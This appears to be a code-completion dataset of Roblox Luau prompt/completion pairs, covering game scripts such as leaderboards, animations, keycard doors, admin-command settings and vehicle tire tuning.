prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 0.1/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 5 -- Wait this long between each regeneration step.
-- gets the datastore, fails if could not find
local Database = nil local suc, err = pcall(function () Database = game:GetService("DataStoreService"):GetOrderedDataStore(DATA_STORE) end) if not suc or Database == nil then warn(err) script.Parent:Destroy() end local function disp__time(_time) _time = _time * 60 local days = math.floor(_time/86400) local hours = math.floor(math.fmod(_time, 86400)/3600) local minutes = math.floor(math.fmod(_time,3600)/60) return string.format("%02dd : %02dh : %02dm",days,hours,minutes) end local UpdateBoard = function () if DO_DEBUG then print("Updating board") end local results = Database:GetSortedAsync(false, 10, 1):GetCurrentPage() for k, v in pairs(results) do local userid = tonumber(string.split(v.key, NAME_OF_STAT)[2]) local name = game:GetService("Players"):GetNameFromUserIdAsync(userid) local score = disp__time(v.value) local sufgui = scoreBlock.SurfaceGui sufgui.Names["Name"..k].Text = name sufgui.Score["Score"..k].Text = score sufgui.Photos["Photo"..k].Image = game:GetService("Players"):GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size100x100) end if DO_DEBUG then print("Board updated sucessfully") end end local suc, err = pcall(UpdateBoard) -- update once if not suc then warn(err) end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
--[[ Connections ]]
maid.heartbeatConnection = RunService.Heartbeat:Connect(function() onHeartbeat() end) maid.diedConnection = maid.humanoid.Died:Connect(function() died() end)
--[=[ @deprecated v1.3.0 -- Use `Signal:Once` instead. @param fn ConnectionFn @return SignalConnection ]=]
function Signal:ConnectOnce(fn) return self:Once(fn) end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
local toolAnimName = "" local toolAnimTrack = nil local toolAnimInstance = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then playToolAnimation(toolAnimName, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid, priority) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim if (toolAnimInstance ~= anim) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) if priority then toolAnimTrack.Priority = priority end -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--[[** ensures Roblox Vector2 type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Vector2 = primitive("Vector2")
--[[ Creates a function that invokes a callback with correct error handling and resolution mechanisms. ]]
local function createAdvancer(traceback, callback, resolve, reject) return function(...) local ok, resultLength, result = runExecutor(traceback, callback, ...) if ok then resolve(unpack(result, 1, resultLength)) else reject(result[1]) end end end local function isEmpty(t) return next(t) == nil end
--[[** ensures Lua primitive string type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.string = t.typeof("string")
-- Special Effects
local EffectsFolder = ReplicatedStorage:WaitForChild("Effects") local Explosion = EffectsFolder:WaitForChild("Explode")
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function TextureTool:Equip() -- Enables the tool's equipped functionality -- Start up our interface self:ShowUI() self:EnableSurfaceClickSelection() -- Set our current texture type and face self:SetTextureType(self.Type) self:SetFace(self.Face) end; function TextureTool:Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources self:HideUI() ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function TextureTool:ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if self.UI then -- Reveal the UI self.UI.Visible = true -- Update the UI every 0.1 seconds self.StopUpdatingUI = Support.Loop(0.1, function () self:UpdateUI() end) -- Skip UI creation return; end; -- Create the UI self.UI = Core.Tool.Interfaces.BTTextureToolGUI:Clone() self.UI.Parent = Core.UI self.UI.Visible = true -- References to UI elements local AddButton = self.UI.AddButton local RemoveButton = self.UI.RemoveButton local DecalModeButton = self.UI.ModeOption.Decal.Button local TextureModeButton = self.UI.ModeOption.Texture.Button local ImageIdInput = self.UI.ImageIDOption.TextBox local TransparencyInput = self.UI.TransparencyOption.Input.TextBox local RepeatXInput = self.UI.RepeatOption.XInput.TextBox local RepeatYInput = self.UI.RepeatOption.YInput.TextBox -- Enable the texture type switch DecalModeButton.MouseButton1Click:Connect(function () self:SetTextureType('Decal') end); TextureModeButton.MouseButton1Click:Connect(function () self:SetTextureType('Texture') end); -- Create the face selection dropdown local Faces = { 'Top'; 'Bottom'; 'Front'; 'Back'; 'Left'; 'Right' }; local function BuildFaceDropdown() return Roact.createElement(Dropdown, { Position = UDim2.new(0, 30, 0, 0); Size = UDim2.new(1, -45, 0, 25); Options = Faces; MaxRows = 6; CurrentOption = self.Face and self.Face.Name; OnOptionSelected = function (Option) self:SetFace(Enum.NormalId[Option]) end; }) end -- Mount type dropdown local FaceDropdownHandle = Roact.mount(BuildFaceDropdown(), self.UI.SideOption, 'Dropdown') self.OnFaceChanged:Connect(function () Roact.update(FaceDropdownHandle, BuildFaceDropdown()) end) -- Enable the image ID input ImageIdInput.FocusLost:Connect(function (EnterPressed) SetTextureId(TextureTool.Type, TextureTool.Face, ParseAssetId(ImageIdInput.Text)); end); -- Enable other inputs SyncInputToProperty('Transparency', TransparencyInput); SyncInputToProperty('StudsPerTileU', RepeatXInput); SyncInputToProperty('StudsPerTileV', RepeatYInput); -- Enable the texture adding button AddButton.Button.MouseButton1Click:Connect(function () AddTextures(TextureTool.Type, TextureTool.Face); end); RemoveButton.Button.MouseButton1Click:Connect(function () RemoveTextures(TextureTool.Type, TextureTool.Face); end); -- Hook up manual triggering local SignatureButton = self.UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(TextureTool.ManualText, TextureTool.Color.Color, SignatureButton) -- Update the UI every 0.1 seconds self.StopUpdatingUI = Support.Loop(0.1, function () self:UpdateUI() end) end; function SyncInputToProperty(Property, Input) -- Enables `Input` to change the given property -- Enable inputs Input.FocusLost:Connect(function () SetProperty(TextureTool.Type, TextureTool.Face, Property, tonumber(Input.Text)); end); end; function TextureTool:EnableSurfaceClickSelection() -- Allows for the setting of the current face by clicking -- Clear out any existing connection if Connections.SurfaceClickSelection then Connections.SurfaceClickSelection:Disconnect(); Connections.SurfaceClickSelection = nil; end; -- Add the new click connection Connections.SurfaceClickSelection = Core.Mouse.Button1Down:Connect(function () local _, ScopeTarget = Core.Targeting:UpdateTarget() if Selection.IsSelected(ScopeTarget) then self:SetFace(Core.Mouse.TargetSurface) end end) end; function TextureTool:HideUI() -- Hides the tool UI -- Make sure there's a UI if not self.UI then return; end; -- Hide the UI self.UI.Visible = false -- Stop updating the UI self.StopUpdatingUI() end; function GetTextures(TextureType, Face) -- Returns all the textures in the selection local Textures = {}; -- Get any textures from any selected parts for _, Part in pairs(Selection.Parts) do for _, Child in pairs(Part:GetChildren()) do -- If this child is texture we're looking for, collect it if Child.ClassName == TextureType and Child.Face == Face then table.insert(Textures, Child); end; end; end; -- Return the found textures return Textures; end;
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
local door = script.Parent local bool = false local CanOpen1 = true local CanClose1 = false local AccessDenied = script.Parent.AccessDenied local AccessGranted = script.Parent.AccessGranted local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = true, ["[SCP] Card-L4"] = true, ["[SCP] Card-L3"] = false, ["[SCP] Card-L2"] = false, ["[SCP] Card-L1"] = false } --DO NOT EDIT PAST THIS LINE-- function openDoor() script.Parent.DoorOpen:play() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15) end end function closeDoor() script.Parent.DoorClose:play() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15) end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false AccessGranted:Play() wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false AccessGranted:Play() wait(0.75) closeDoor() wait(1) CanOpen1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then bool = true AccessDenied:Play() wait(2) bool = false end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false AccessGranted:Play() wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false AccessGranted:Play() wait(0.75) closeDoor() wait(1) CanOpen1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then bool = true AccessDenied:Play() wait(2) bool = false end end)
--- Runs hooks matching name and returns nil for ok or a string for cancellation
function Dispatcher:RunHooks(hookName, commandContext, ...) if not self.Registry.Hooks[hookName] then error(("Invalid hook name: %q"):format(hookName), 2) end if hookName == "BeforeRun" and #self.Registry.Hooks[hookName] == 0 and commandContext.Group ~= "DefaultUtil" and commandContext.Group ~= "UserAlias" and commandContext:HasImplementation() then if RunService:IsStudio() then if displayedBeforeRunHookWarning == false then commandContext:Reply((RunService:IsServer() and "<Server>" or "<Client>") .. " Commands will not run in-game if no BeforeRun hook is configured. Learn more: https://eryn.io/Cmdr/guide/Hooks.html", Color3.fromRGB(255,228,26)) displayedBeforeRunHookWarning = true end else return "Command blocked for security as no BeforeRun hook is configured." end end for _, hook in ipairs(self.Registry.Hooks[hookName]) do local value = hook.callback(commandContext, ...) if value ~= nil then return tostring(value) end end end function Dispatcher:PushHistory(text) assert(RunService:IsClient(), "PushHistory may only be used from the client.") local history = self:GetHistory() -- Remove duplicates if Util.TrimString(text) == "" or text == history[#history] then return end history[#history + 1] = text TeleportService:SetTeleportSetting(HISTORY_SETTING_NAME, history) end function Dispatcher:GetHistory() assert(RunService:IsClient(), "GetHistory may only be used from the client.") return TeleportService:GetTeleportSetting(HISTORY_SETTING_NAME) or {} end return function (cmdr) Dispatcher.Cmdr = cmdr Dispatcher.Registry = cmdr.Registry return Dispatcher end
-- << SETTINGS >>
Settings={ -- <Prefix> Prefix =";" ; -- The character used to begin each command -- <Owner chat colour> OwnerChatColour = "y" ; --w/r/g/b/p/y OR white/red/green/blue/purple/yellow -- <Donor Perks> **Please keep enabled to help support the development of HD Admin Commands** DonorItem = true ; DonorItemId = 10472779 ; DonorCommands = true ; -- <Other> CmdBar = true ; -- Enables/disables the cmdbar - press @ to open the cmdbar HDIcon = true ; -- The HD Icon in the corner of screen (helps support the development HD Admin Commands) AutoPrompt = true ; -- This prompts all players to take a free copy of the model. Set to 'false' to disable. FreeAdmin = false ; -- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = "VIP" '. Set to False if not. You can not set to 'Owner'. NoticeSound = 261082034 ; -- Notification sound ID NoticeSoundVol = 0.5 ; -- How loud the notification sound is. Must be between 0 and 1. ErrorSound = 138090596 ; -- Error sound ID ErrorSoundVol = 0.5 ; -- How loud the error sound is. Must be between 0 and 1. } ;
-- An extra to clone later when the current dummy dies
local RESPAWN_DELAY = 1
-- Streamable -- Stephen Leitnick -- March 03, 2021
type StreamableWithInstance = { Instance: Instance?, [any]: any, } local Trove = require(script.Parent.Parent.Trove) local Signal = require(script.Parent.Parent.Signal)
--script.Parent.RR.Velocity = script.Parent.RR.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.RRR.Velocity = script.Parent.RRR.CFrame.lookVector *script.Parent.Speed.Value script.Parent.S.Velocity = script.Parent.S.CFrame.lookVector *script.Parent.Speed.Value
--!strict --[=[ @function includes @within Dictionary @param dictionary {[K]: V} -- The dictionary to check. @param value V -- The value to check for. @return boolean -- Whether or not the dictionary includes the given value. Checks whether or not the given dictionary includes the given value. ```lua local dictionary = { hello = "roblox", goodbye = "world" } local includesRoblox = Includes(dictionary, "roblox") -- true local includesCat = Includes(dictionary, "cat") -- false ``` ]=]
local function includes<K, V>(dictionary: { [K]: V }, value: V): boolean for _, v in pairs(dictionary) do if v == value then return true end end return false end return includes
-- When a player with the game pass touches the door, teleport them to the other side
local function OnTouched(otherPart) if otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild('Humanoid') then local player = PlayersService:GetPlayerFromCharacter(otherPart.Parent) if player and not JustTouched[player] then JustTouched[player] = time() if GamePassService:UserOwnsGamePassAsync(player.userId, GamePassIdObject.Value) then TeleportToOtherSide(player.Character, otherPart) end end end end
-- Variables -- Local Player Side Script -- Place me inside your GUI, My parent must be [GUI] and nothing else! -- Round based client side script
local Replicated = game:GetService("ReplicatedStorage") local Session = Replicated.Session local Timer = Replicated.Timer script.Parent.Status.Text = Session.Value -- Remove this if you remove UpdateStatus() function UpdateStatus() -- Remove this if you only want a timer! wait() -- Do not change wait() script.Parent.Session.Text = Session.Value end script.Parent.Timer.Text = Timer.Value -- Remove this if you remove UpdateTimer() function UpdateTimer() -- Remove this if you only want to display session names! wait() -- Do not change wait() script.Parent.Timer.Text = Timer.Value end
-- ScriptContext['/Libraries/LibraryRegistration/LibraryRegistration'] -- This RobloxLocked object lets me index its properties for some reason
local function check(object) return object.AncestryChanged end
--// # key, Spotlight
mouse.KeyDown:connect(function(key) if key=="x" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.SpotlightEvent:FireServer(true) end end)
--receives event from toolEvent
event.OnServerInvoke = function(player, t, val) if t=="whitelist" then return whitelisted(player.Name) elseif t=="." then if whitelisted(player.Name) and toollist[val] then local c = toollist[val]:Clone() c.Parent = player.Backpack return c end end return false end
--[[Steering]]
Tune.SteerInner = 40 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 42 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .03 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 6000 -- Steering Aggressiveness
--if hood.Velocity.magnitude < 15 then return end -- must be going decently fast to break stuff... can add invisible "prebumpers" in the future to make collisions smoother
if hood.CFrame:vectorToObjectSpace(hood.Velocity):Dot(direction) < 3 then return end -- must be going fast in correct direction to break stuff if hit and hit.Parent then if hit.Parent:FindFirstChild("Humanoid") then --hit.Parent:BreakJoints() let's not kill 'em... for now hit.Parent.Humanoid.Sit = true -- but we do make 'em flyyyy! XD elseif hit:FindFirstChild("RobloxModel") and not hit:FindFirstChild("RunOver") and isSmallerThanVehicle(hit) then local newModel = hit:Clone() local modelParent = hit.Parent local newRunOverTag = Instance.new("BoolValue") newRunOverTag.Name = "RunOver" newRunOverTag.Parent = hit hit:BreakJoints() debris:AddItem(hit, timeToRespawn) coroutine.resume(coroutine.create(respawnIt), newModel, modelParent) elseif hit.Parent:FindFirstChild("RobloxModel") and not hit.Parent:FindFirstChild("RunOver") and isSmallerThanVehicle(hit.Parent) then local newModel = hit.Parent:Clone() local modelParent = hit.Parent.Parent local newRunOverTag = Instance.new("BoolValue") newRunOverTag.Name = "RunOver" newRunOverTag.Parent = hit.Parent hit.Parent:BreakJoints() debris:AddItem(hit.Parent, timeToRespawn) coroutine.resume(coroutine.create(respawnIt), newModel, modelParent) end end end
--[[ Stores 'sensible default' properties to be applied to instances created by the New function. ]]
--Tune
local _Select = "Slicks" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive local _Custom = { TireWearOn = true , --Friction and Wear FWearSpeed = .3 , --How fast your tires will degrade (Front) FTargetFriction = .93 , --Friction in optimal conditions (Front) FMinFriction = 0.35 , --Friction in worst conditions (Front) RWearSpeed = .3 , --How fast your tires will degrade (Rear) RTargetFriction = 1.1 , --Friction in optimal conditions (Rear) RMinFriction = 0.35 , --Friction in worst conditions (Rear) --Tire Slip TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses. WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels --Wheel Properties FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS) RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS) FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) FElasticity = 0 , --How much your wheel will bounce (Front) (PGS) RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS) FLgcyElasticity = 0 , --How much your wheel will bounce (Front) RLgcyElasticity = 0 , --How much your wheel will bounce (Rear) FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS) RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS) FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllSeason = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --Don't change this FTargetFriction = .6 , -- .58 to .63 FMinFriction = 0.35 , --Don't change this RWearSpeed = .2 , --Don't change this RTargetFriction = .6 , -- .58 to .63 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 2 , --Don't change this RFrictionWeight = 2 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _Slicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .6 , --Don't change this FTargetFriction = .93 , -- .88 to .93 FMinFriction = 0.35 , --Don't change this RWearSpeed = .6 , --Don't change this RTargetFriction = .93 , -- .88 to .93 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _SemiSlicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .5 , --Don't change this FTargetFriction = .78 , -- .73 to .78 FMinFriction = 0.35 , --Don't change this RWearSpeed = .5 , --Don't change this RTargetFriction = .78 , -- .73 to .78 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllTerrain = { TireWearOn = true , --Friction and Wear FWearSpeed = .3 , --Don't change this FTargetFriction = .5 , -- .48 to .53 FMinFriction = 0.35 , --Don't change this RWearSpeed = .3 , --Don't change this RTargetFriction = .5 , -- .48 to .53 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 10 , --Don't change this RFrictionWeight = 10 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _DragRadials = { TireWearOn = true , --Friction and Wear FWearSpeed = 30 , --Don't change this FTargetFriction = 1.2 , -- 1.18 to 1.23 FMinFriction = 0.35 , --Don't change this RWearSpeed = 30 , --Don't change this RTargetFriction = 1.2 , -- 1.18 to 1.23 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 1 , --Don't change this RFrictionWeight = 1 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 20 , --Don't change this } local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local cValues = script.Parent.Parent:WaitForChild("Values") local _WHEELTUNE = _AllSeason if _Select == "DragRadials" then _WHEELTUNE = _DragRadials elseif _Select == "Custom" then _WHEELTUNE = _Custom elseif _Select == "AllTerrain" then _WHEELTUNE = _AllTerrain elseif _Select == "Slicks" then _WHEELTUNE = _Slicks elseif _Select == "SemiSlicks" then _WHEELTUNE = _SemiSlicks else _WHEELTUNE = _AllSeason end car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
--Remotes
local Remotes = game.ReplicatedStorage.Remotes local Replicate_Event = Remotes.Tools.Anims.Replicate Replicate_Event.OnClientEvent:Connect(function(Plr,Weapon) Replication_Module:Client_Replicate(Plr,Weapon) end)
-- << FUNCTIONS >>
function module:ToggleBar(keyCode) if keyCode == Enum.KeyCode.Quote then local cmdBar = main.gui.CmdBar if cmdBar.Visible then main:GetModule("CmdBar"):CloseCmdBar() else main:GetModule("CmdBar"):OpenCmdBar() end elseif keyCode == Enum.KeyCode.Semicolon then local requiredRank = main.settings.Cmdbar2 if main.pdata.Rank > 0 or requiredRank <= 0 then if main.pdata.Rank < requiredRank then local notice = main:GetModule("cf"):FormatNotice("CommandBarLocked", "2", main:GetModule("cf"):GetRankName(requiredRank)) main:GetModule("Notices"):Notice("Error", notice[1], notice[2]) else local props = currentProps["cmdbar2"] if not props then main:GetModule("ClientCommands")["cmdbar2"].Function() else if props.mainParent.Visible then props.mainParent.Visible = false else props.mainParent.Visible = true end end end end end end function module:OpenCmdBar() local props = mainProps local requiredRank = main.settings.Cmdbar if main.pdata.Rank > 0 or requiredRank <= 0 then if main.pdata.Rank < requiredRank then local notice = main:GetModule("cf"):FormatNotice("CommandBarLocked", "", main:GetModule("cf"):GetRankName(requiredRank)) main:GetModule("Notices"):Notice("Error", notice[1], notice[2]) else props.textBox:CaptureFocus() for _,coreName in pairs(coreToHide) do originalCoreStates[coreName] = main.starterGui:GetCoreGuiEnabled(coreName) main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[coreName], false) end --main:GetModule("TopBar"):CoreGUIsChanged() topBar.BackgroundColor3 = Color3.fromRGB(50,50,50) originalTopBarTransparency = topBar.BackgroundTransparency originalTopBarVisibility = topBar.Visible topBar.BackgroundTransparency = 0 topBar.Visible = true props.textBox.Text = "" cmdBar.Visible = true wait() props.textBox.Text = main.pdata.Prefix props.textBox.CursorPosition = 3 end end end function module:CloseCmdBar() local props = mainProps cmdBar.Visible = false for _,coreName in pairs(coreToHide) do local originalState = originalCoreStates[coreName] if originalState then main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[coreName], originalState) end end --main:GetModule("TopBar"):CoreGUIsChanged() topBar.BackgroundColor3 = Color3.fromRGB(31,31,31) topBar.BackgroundTransparency = originalTopBarTransparency topBar.Visible = originalTopBarVisibility coroutine.wrap(function() for i = 1,10 do props.textBox:ReleaseFocus() wait() end end)() end function module:PressedArrowKey(key) for i, props in pairs(currentProps) do if props.mainParent.Visible and props.textBox:IsFocused() then local originalLabel = props.rframe:FindFirstChild("Label"..props.suggestionPos) if key == Enum.KeyCode.Down then props.suggestionPos = props.suggestionPos + 1 if props.suggestionPos > props.suggestionDisplayed then props.suggestionPos = 1 end elseif key == Enum.KeyCode.Up then props.suggestionPos = props.suggestionPos - 1 if props.suggestionPos < 1 then props.suggestionPos = props.suggestionDisplayed end elseif key == Enum.KeyCode.Right then selectSuggestion(props) end local newLabel = props.rframe["Label"..props.suggestionPos] if newLabel ~= originalLabel then originalLabel.BackgroundColor3 = props.otherColor newLabel.BackgroundColor3 = props.highlightColor end end end end return module
--Rear Wheel Attachments--
